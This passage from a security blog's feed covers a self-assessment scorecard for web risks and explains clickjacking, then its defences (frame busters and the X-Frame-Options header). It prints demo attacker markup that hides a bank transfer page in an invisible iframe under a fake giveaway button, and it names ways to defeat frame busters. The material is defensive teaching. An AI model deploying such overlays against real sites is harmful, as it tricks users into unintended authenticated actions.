&lt;p&gt;This is the anti-forgery token in both a cookie then further down in the hidden field. This is the way ASP.NET names them, other web platforms may show slightly different names but the point is that the token exists and without it, the request fails. This should be in every location where an inadvertent request could have an adverse impact for the user. If you don’t see it – like on Toys R Us – then a CSRF risk is almost certainly present.&lt;/p&gt;
&lt;h4&gt;&lt;a name="Scorecarding"&gt;&lt;/a&gt;Scorecarding websites with ASafaWeb&lt;/h4&gt;
&lt;p&gt;There’s a lot to remember when securing websites and indeed what’s listed above only even scrapes the surface. However it’s a good starting point and these are all risks that have many precedents of being exploited for an attacker’s gain. They’re also all risks that as I stated from the outset, can be remotely detected without stepping into the evil hacker realm. You can be responsible in detecting these risks.&lt;/p&gt;
&lt;p&gt;I often see tweets like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/DE_Glasgow/status/322653556035448832"&gt;&lt;img width="473" height="201" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="@StartupNomads just set up account &amp;amp; you emailed me my password - are you not aware of security implications of this?" src="http://lh3.ggpht.com/-AIVge5UsKGg/UZPxRgAdH-I/AAAAAAAAFUo/Obj7UvHTg4w/SNAGHTML73357b64.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Clearly this is somewhat of a rhetorical question as it’s very unlikely the culprit is aware of the risk. Moving on, rather than just having people point website owners to a lengthy post covering multiple issues as is the case above, I wanted to provide something more succinct that talks about specific risks then provide further reading from there. Given the sort of risks I’ve outlined throughout this post, I wanted to provide an easy mechanism for assessing, recording and sharing them so here it is – the &lt;a href="https://asafaweb.com/Scorecard"&gt;ASafaWeb Scorecard&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://asafaweb.com/Scorecard"&gt;&lt;img width="814" height="498" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="ASafaWeb scorecard" src="http://lh6.ggpht.com/-BhrdDmdw308/UZPxSYC1g6I/AAAAAAAAFUw/g_cU7GolA6s/image11111%25255B1%25255D.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is very simple mechanism and it works like this: first you enter the URL of the site you’re assessing. Next, for each of the 16 risks outlined above there’s an entry on the ASafaWeb Scorecard along with “Pass” and “Fail” buttons. You then go through and self-assess the site, clicking the appropriate button as you go (you can click the same button again to de-select the risk). &lt;/p&gt;
&lt;p&gt;This &lt;em&gt;is not &lt;/em&gt;a dynamic analysis tool like the ASafaWeb scanner is and that’s simply because for the most part you need to be a human to detect these issues. For example, you actually need to do a password reset and assess the resulting email in order to discover that it’s not being stored satisfactorily.&lt;/p&gt;
&lt;p&gt;As you complete the assessment you’ll see the results appear in a hash in the URL. What this means is that a completed assessment has a URL something like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://asafaweb.com/Scorecard#url=notasafaweb.apphb.com&amp;amp;LackOfTls=Fail&amp;amp;InsecureLogin=Fail&amp;amp;SecureCookies=Fail&amp;amp;MixedModeHttps=Pass&amp;amp;Xss=Fail&amp;amp;PasswordReminders=Pass&amp;amp;PasswordStorage=Pass&amp;amp;PasswordRules=Pass&amp;amp;PasswordDos=Pass&amp;amp;HttpOnly=Pass&amp;amp;InternalErrors=Fail&amp;amp;RobotsTxt=Pass&amp;amp;HtmlSource=Pass&amp;amp;ParameterTampering=Pass&amp;amp;Clickjacking=Fail&amp;amp;Csrf=Fail"&gt;https://asafaweb.com/Scorecard#url=notasafaweb.apphb.com&amp;amp;LackOfTls=Fail&amp;amp;InsecureLogin=Fail&amp;amp;SecureCookies=Fail&amp;amp;MixedModeHttps=Pass&amp;amp;Xss=Fail&amp;amp;PasswordReminders=Pass&amp;amp;PasswordStorage=Pass&amp;amp;PasswordRules=Pass&amp;amp;PasswordDos=Pass&amp;amp;HttpOnly=Pass&amp;amp;InternalErrors=Fail&amp;amp;RobotsTxt=Pass&amp;amp;HtmlSource=Pass&amp;amp;ParameterTampering=Pass&amp;amp;Clickjacking=Fail&amp;amp;Csrf=Fail&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When the URL is received by someone and they open it up, the Scorecard appears with a little summary and the risks in read only mode so that they can’t be directly edited again:&lt;/p&gt;
&lt;p&gt;&lt;img width="974" height="349" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="ASafaWeb Scorecard in read only mode" src="http://lh3.ggpht.com/-y56ID_2CK_Q/UZPxTBfba8I/AAAAAAAAFU4/nb8cL9ZR6E0/image6111.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Mind you, it’s easy just to change the URL and as a result the Scorecard values, but this isn’t intended to be a tamperproof rather it’s a means of sharing information via URL alone. When the Scorecard is opened up it won’t show any risks that haven’t been given a pass or a fail grade so you can elect exactly what data you want to share. Only want to raise one risk – fine, just select that. Only want to alert someone to failing risks – likewise, just send those. You choose.&lt;/p&gt;
&lt;p&gt;There are two reasons I’ve done this and by far the most important is that I don’t want to be building up a repository of vulnerable sites! By persisting the risk in the URL parameter the address contains all the information that’s required to understand what’s going on. Secondly, because that URL is so self-contained it’s easy to pick up and send to someone so it’s very transportable.&lt;/p&gt;
&lt;p&gt;Ultimately that’s the goal – to create a mechanism to easily report on risks and share them around. I’d love to see this tool being used in place of trying to explain risks via Twitter and engaging in the banter that often ensues in an attempt to try and explain things in only 140 characters a shot. It would be great if this gains some traction and I’d love feedback on the effectiveness of it, including if there are further risks that should be included in an attempt to encourage people to seek them out.&lt;/p&gt;
&lt;p&gt;And that brings us back to where this post started out – hacking yourself first. Using the Scorecard above, the chances of you finding at least one risk in your own site is very high and if you can do that and mitigate it before someone exploits it then that’s a very good thing indeed. And likewise, if you do find issues in someone else’s site, the risks above &lt;em&gt;should&lt;/em&gt; keep you out of trouble if you detect and report on them responsibly. Hopefully the Scorecard feature helps this process and makes the web, well, ASafa place!&lt;/p&gt;
&lt;h4&gt;More hacking yourself&lt;/h4&gt;
&lt;p&gt;The risks outlined above are ones I tend to use as a starting point either to assess sites I’m involved in building or to get a sense of the relative security position of someone else’s site. They’re not exhaustive though and as I said at the outset, there are other risks such as SQL injection which are serious, prevalent and will very likely cause damage if probed a little further.&lt;/p&gt;
&lt;p&gt;A good resource for further probing is the &lt;a href="https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf"&gt;OWASP Testing Guide&lt;/a&gt;. This will take you through hundreds of pages of steps that go into a lot more detail than what this blog post alone covers. If you want to get really in depth then there’s &lt;a href="http://pluralsight.com/training/Courses/TableOfContents/owasp-top10-aspdotnet-application-security-risks"&gt;my recent Pluralsight video training&lt;/a&gt; which gets right down into the guts of how these risks are exploited &lt;em&gt;and&lt;/em&gt; mitigated across just over eight hours of material.&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/tVdNzIAhgKQ" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/4995890629154816184?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/4995890629154816184?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/tVdNzIAhgKQ/hack-yourself-first-how-to-go-on.html" title="Hack yourself first – how to go on the offence before online attackers do" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/-KXbAIQyX2KY/UZPxEywSweI/AAAAAAAAFSs/PI0Kzf7IJFY/s72-c/image51.png?imgmax=800" height="72" width="72" /><feedburner:origLink>http://www.troyhunt.com/2013/05/hack-yourself-first-how-to-go-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkUHR3gyfSp7ImA9WhBbFEo.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-4718366305660480889</id><published>2013-05-13T19:36:00.001+10:00</published><updated>2013-05-14T06:50:36.695+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-14T06:50:36.695+10:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>Clickjack attack – the hidden threat right in front of you</title><content type="html">&lt;p&gt;XSS protection: check! &lt;/p&gt; &lt;p&gt;No SQL injection: check! &lt;/p&gt; &lt;p&gt;Proper use of HTTPS: check! &lt;/p&gt; &lt;p&gt;Clickjacking defences: uh, click what now?!&lt;/p&gt; &lt;p&gt;This is one of those risks which doesn’t tend to get a lot of coverage but it can be a malicious little bugger when exploited by an attacker. &lt;a href="http://jeremiahgrossman.blogspot.com.au/2008/10/clickjacking-web-pages-can-see-and-hear.html"&gt;Originally described by Jeremiah Grossman&lt;/a&gt; of WhiteHat Security fame back in 2008, a clickjacking attack relies on creating a veneer of authenticity under which lies a more sinister objective.&lt;/p&gt; &lt;p&gt;Imagine you visit a website and see the following:&lt;/p&gt; &lt;p&gt;&lt;img width="518" height="416" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Win an iPad website" src="http://lh3.ggpht.com/-uFYu1_D0wOk/UZC0A8o7HrI/AAAAAAAAFRc/n8NAqJdjBJg/image5.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Free stuff is always good so you click on the big button and WAMMO! You’ve just been clickjacked. You see, whilst you think you just clicked a “WIN” link, in reality you just clicked this instead:&lt;/p&gt; &lt;p&gt;&lt;img width="518" height="240" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Banking website" src="http://lh4.ggpht.com/-ucSNcVxYWHs/UZC0BhdJ2ZI/AAAAAAAAFRk/s_-WNmzrndw/image8.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;This, of course, is your bank. You are logged in and your bank provides a handy option to transfer all your money with a single click. But of course you don’t know you you’ve just given Mr Dotcom all your money because you never even saw the link. This is a very simple example of a clickjacking attack, let’s take a look at the mechanism underneath and then talk about defences.&lt;/p&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;h4&gt;Sleight of hand and other tricks&lt;/h4&gt; &lt;p&gt;This is a little like a magician’s sleight of hand trick; your focus is on one particular area of interest (winning free goodies) and whilst you’re distracted by this, the real “magic” is happening just out of view. This all make a lot more sense when we toggle some opacities on the page, take a look at it again now:&lt;/p&gt; &lt;p&gt;&lt;img width="518" height="416" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Win an iPad website showing the banking website on top of it" src="http://lh4.ggpht.com/-SrWIMhNll5c/UZC0CsQ192I/AAAAAAAAFRs/IqxQsazDETo/image11.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;What you can see now is the bank’s page sitting in an iframe &lt;em&gt;on top of the iPad page&lt;/em&gt;, it simply has the opacity set at 50%. Earlier on it was set to 0% which effectively meant it was hidden &lt;em&gt;but still active&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;Here’s another neat way to view this courtesy of Firefox’s 3D view:&lt;/p&gt; &lt;p&gt;&lt;img width="518" height="381" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="The hidden website in Firefox's 3D mode" src="http://lh4.ggpht.com/-s0E99lJyM_o/UZC0DsC9GOI/AAAAAAAAFR0/b_-w_ZTS5yQ/image2.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;You can see the content that’s actually visible in the attack (such as the “Hey – we’re giving away…” text) sitting several layers deep and the highlighted turquoise box is actually the “WIN” text. The banking site is sitting on top of this which is why you can see several layers on top of it and the “WIN” text ultimately showing through them because of their opacity.&lt;/p&gt; &lt;p&gt;Here’s the key to a clickjacking attack: the target content is hidden and the attacker’s content sits over the top and effectively tricks the victim into clicking links they don’t know they’re clicking. Here’s what the markup of the attacker’s page looks like:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: white; color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;div &lt;/span&gt;&lt;span style="background: white; color: red"&gt;style&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="&lt;/span&gt;&lt;span style="background: white; color: red"&gt;position&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;absolute&lt;/span&gt;&lt;span style="background: white; color: black"&gt;; &lt;/span&gt;&lt;span style="background: white; color: red"&gt;left&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;10px&lt;/span&gt;&lt;span style="background: white; color: black"&gt;; &lt;/span&gt;&lt;span style="background: white; color: red"&gt;top&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;10px&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;"&amp;gt;&lt;/span&gt;&lt;span style="background: white; color: black"&gt;Hey - we're giving away iPad minis!!! Just click the WIN button and it's yours!!!&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;div&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;&amp;gt;
&amp;lt;&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;div &lt;/span&gt;&lt;span style="background: white; color: red"&gt;style&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="&lt;/span&gt;&lt;span style="background: white; color: red"&gt;position&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;absolute&lt;/span&gt;&lt;span style="background: white; color: black"&gt;; &lt;/span&gt;&lt;span style="background: white; color: red"&gt;left&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;200px&lt;/span&gt;&lt;span style="background: white; color: black"&gt;; &lt;/span&gt;&lt;span style="background: white; color: red"&gt;top&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;50px&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;"&amp;gt;
  &amp;lt;&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;img &lt;/span&gt;&lt;span style="background: white; color: red"&gt;src&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="http://images.apple.com/my/ipad-mini/overview/images/hero.jpg" &lt;/span&gt;&lt;span style="background: white; color: red"&gt;width&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="250"&amp;gt;&lt;br&gt;&amp;lt;/&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;div&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;&amp;gt;
&amp;lt;&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;div &lt;/span&gt;&lt;span style="background: white; color: red"&gt;style&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="&lt;/span&gt;&lt;span style="background: white; color: red"&gt;position&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;absolute&lt;/span&gt;&lt;span style="background: white; color: black"&gt;; &lt;/span&gt;&lt;span style="background: white; color: red"&gt;left&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;10px&lt;/span&gt;&lt;span style="background: white; color: black"&gt;; &lt;/span&gt;&lt;span style="background: white; color: red"&gt;top&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;101px&lt;/span&gt;&lt;span style="background: white; color: black"&gt;; &lt;/span&gt;&lt;span style="background: white; color: red"&gt;color&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;red&lt;/span&gt;&lt;span style="background: white; color: black"&gt;; &lt;/span&gt;&lt;span style="background: white; color: red"&gt;font-weight&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;bold&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;"&amp;gt;&lt;/span&gt;&lt;span style="background: white; color: black"&gt;&amp;gt;&amp;gt; WIN &amp;lt;&amp;lt;&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;div&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;&amp;gt;
&amp;lt;&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;iframe &lt;/span&gt;&lt;span style="background: white; color: red"&gt;style&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="&lt;/span&gt;&lt;span style="background: white; color: red"&gt;opacity&lt;/span&gt;&lt;span style="background: white; color: black"&gt;: &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;0&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;" &lt;/span&gt;&lt;span style="background: white; color: red"&gt;height&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="545" &lt;/span&gt;&lt;span style="background: white; color: red"&gt;width&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="680" &lt;/span&gt;&lt;span style="background: white; color: red"&gt;scrolling&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="no" &lt;/span&gt;&lt;span style="background: white; color: red"&gt;src&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="http://mybank/Transfer.aspx"&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;iframe&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;How easy is that?! Whack the target content in an iframe, hide it then position some rogue links underneath the ones you actually want them to click. Job done.&lt;/p&gt;
&lt;p&gt;When we look at the request that was made by clicking on the “WIN” link (which of course was actually the “Donate” link), we see the following in Chrome’s developer tools:&lt;/p&gt;
&lt;p&gt;&lt;img width="518" height="526" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Hiden request to donate money" src="http://lh3.ggpht.com/-CkHT1fZEXCI/UZC0EfwlAUI/AAAAAAAAFR8/dPaqc31KNWM/image14.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;The two important highlighted areas here show the donate resource being requested and an auth cookie being passed with the request. Remember the significance of this – it persists your logged in state which means that for all intents and purposes, this is an authenticated requests from a logged in user, it’s just that they didn’t really intend to issue it. Now of course for something like a banking website or any other use case that takes advantage of an authenticated state, the user actually needs to be logged in. In that regard it’s a little like a &lt;a href="http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html"&gt;cross site request forgery attack&lt;/a&gt;. There’s also a bit of &lt;a href="http://www.troyhunt.com/2010/07/owasp-top-10-for-net-developers-part-3.html"&gt;broken authentication and session management&lt;/a&gt; going on insofar as also like CSRF, this is one of those cases where expiring sessions quickly is a great defence albeit at the expense of usability.&lt;/p&gt;
&lt;p&gt;So that’s the execution of it, let’s take a look at the mitigations.&lt;/p&gt;
&lt;h4&gt;Frame busters (and frame buster busters)&lt;/h4&gt;
&lt;p&gt;The issue here is that the target site has been loaded up within an iframe. One way to address this is via a little JavaScript in the banking website which works as follows:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: white; color: blue"&gt;if &lt;/span&gt;&lt;span style="background: white; color: black"&gt;(top.location != location) {
  top.location = self.location;
}&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;Simple – if the page isn’t the URL in the address bar (and remember, this is our hypothetical banking site), then redirect the top location of the browser to this page so that it and it alone is loaded into the browser. In other words, the target page is literally “busting” out of the frame and taking over the entire browser window hence freeing itself of the malicious site. Job done? Not quite.&lt;/p&gt;
&lt;p&gt;For every frame buster there is a frame buster buster. In a classic example of the arms race that is builders versus breakers, there are numerous ways this model can be circumvented. There’s a fantastic paper from a few years ago titled &lt;a href="http://seclab.stanford.edu/websec/framebusting/framebust.pdf"&gt;Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites&lt;/a&gt; that talks about this in detail but in short, frame buster busters use techniques such as:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Nesting the victim site in &lt;em&gt;two&lt;/em&gt; frames as the double framing causes the descendent frame navigation policy to disable the redirection&lt;/li&gt;
&lt;li&gt;Tapping into the onBeforeUnload event to cancel the redirection (albeit with some user input) when the frame buster attempts to unload the page&lt;/li&gt;
&lt;li&gt;Exploiting XSS filters designed to prohibit cross site scripting in order to cancel out the frame buster&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;Implementations differ by browser and by version and it becomes somewhat of a quagmire of conditional logic and varying degrees of success, but the real point is that frame busting via JavaScript is &lt;em&gt;very&lt;/em&gt; patchy. We need a better mousetrap.&lt;/p&gt;
&lt;h4&gt;X-Frame-Options&lt;/h4&gt;
&lt;p&gt;Frame busters are hacks. Nasty, messy hacks of limited efficiency. What we really need is a simpler, more semantic means of specifying how and where a page may be used when it comes to being embedded in a frame and that's what we have in the X-Frame-Options (XFO) header. This one actually &lt;a href="http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx"&gt;came out of Microsoft back in early 2009&lt;/a&gt; so it’s been around for a while although evidence would suggest it hasn’t been extensively adopted.&lt;/p&gt;
&lt;p&gt;Firstly a bit of response headers 101. When an HTTP header is preceded with “X-“ then it’s not strictly part of the HTTP spec. Anyone can make up their own headers to pass info around outside of the response body. Fortunately it’s a little more organised than that with the browser vendors agreeing to recognise the header and place some limitations on how the browser handles the page as a result. There’s actually a &lt;a href="http://tools.ietf.org/html/draft-ietf-websec-x-frame-options-00"&gt;draft IETF spec for the header&lt;/a&gt; so we may see more formality at some point in the future.&lt;/p&gt;
&lt;p&gt;You’ve got 3 different values for your XFO headers and I’ll quote from that draft IETF spec as it does a good job of describing them:&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; DENY&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; A browser receiving content with this header MUST NOT display&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this content in any frame.&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; SAMEORIGIN&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; A browser receiving content with this header MUST NOT display&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this content in any frame from a page of different origin than&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the content itself.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If a browser or plugin can not reliably determine whether the&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; origin of the content and the frame have the same origin, this&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MUST be treated as "DENY".&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&lt;a href="http://tools.ietf.org/html/draft-ietf-websec-x-frame-options-00#ref-TBD"&gt;TBD&lt;/a&gt;]current implementations do not display if the origin of&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the top-level-browsing-context is different than the origin of&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the page containing the X-FRAME-OPTIONS header.&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; ALLOW-FROM&amp;nbsp; (followed by a URI of trusted origins)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; A browser receiving content with this header MUST NOT display&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this content in any frame from a page of different origin than&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the listed origin.&amp;nbsp; While this can expose the page to risks by&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the trusted origin, in some cases it may be necessary to use&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; content from other domains.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For example: X-FRAME-OPTIONS: ALLOW-FROM&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="https://www.domain.com/"&gt;https://www.domain.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;There is also the non-standard ALLOWALL value which does just what it sounds like it does – in theory. Apparently &lt;a href="http://ipsec.pl/node/1094"&gt;this value started getting served up by Google quite recently&lt;/a&gt; and got the browsers a little confused. Well more specifically, the browsers don’t recognise it as a valid value and consequently just ignored it which, of course, is exactly what the intention is and is the equivalent of having no XFO header at all. Except it isn’t really; when you see no header there are two possible options with the first being that the developer wants to allow the page to be embedded anywhere and the second that they never even thought to include it. My money is on the second option being by far and away the most prevalent situation and the ALLOWALL value is an explicit acknowledgement that a conscious decision has been made to allow embedding in frames. The intent is much clearer and far less implicit which IMHO is a good thing.&lt;/p&gt;
&lt;p&gt;There is, however, some criticism of the XFO implementation as it stands. For example, it’s not possible to allow framing of content both from the same origin and from a trusted URI. In a similar vein, it’s also not possible to allow framing from multiple trusted URIs. Both of these are unfortunate shortcomings of the header as they’re very real scenarios. Allowing the browser to recognise multiple non-conflicting definitions of the header would be one approach but that doesn’t appear to be on the cards just now.&lt;/p&gt;
&lt;p&gt;Moving on, XFO is all pretty simple and the browser support is very good with IE8 onwards implementing it as well as all the other major vendors for a number of versions now (Firefox 3.6, Safari 4, Chrome 4.1). What if a browser &lt;em&gt;doesn’t &lt;/em&gt;implement it? Absolutely nothing, it will just carry on as usual and not put any constraints around the content being framed.&lt;/p&gt;
&lt;p&gt;Assuming you don’t actually want a site embedded within other sites (which will &lt;em&gt;usually&lt;/em&gt; be the case), just use it – it’s a few bytes of overhead to prevent a potentially rather malicious scenario. Ideally, you want to just deny access to browsers loading the page in a frame. If you really want to load your own pages into frames on the same site then you do the same origin trick or open it up further to another site with the “allow-from” syntax. Do be cautious though: things will break if you’re overzealous and inadvertently block content from loading into legitimate frames.&lt;/p&gt;
&lt;h4&gt;XFO in practice&lt;/h4&gt;
&lt;p&gt;Getting back to our original example, here’s what happens to that site once XFO denies embedding in a frame (I’ve left the opacity at 50%):&lt;/p&gt;
&lt;p&gt;&lt;img width="518" height="416" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="XFO header denying the banking website from being loaded in a frame" src="http://lh6.ggpht.com/-xMHZymY2pF0/UZC0FW8YrrI/AAAAAAAAFSE/zgTI4jQ_J9s/image31.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;You see that? Of course you don’t, that’s the whole point! The banking site is no longer rendered in the browser, all you can see is the iframe border. Mind you, the banking site is still &lt;em&gt;requested&lt;/em&gt; because after all, that’s the only way the browser can be instructed not to render it once it’s returned by the server. You can see this in Chrome’s network profiler:&lt;/p&gt;
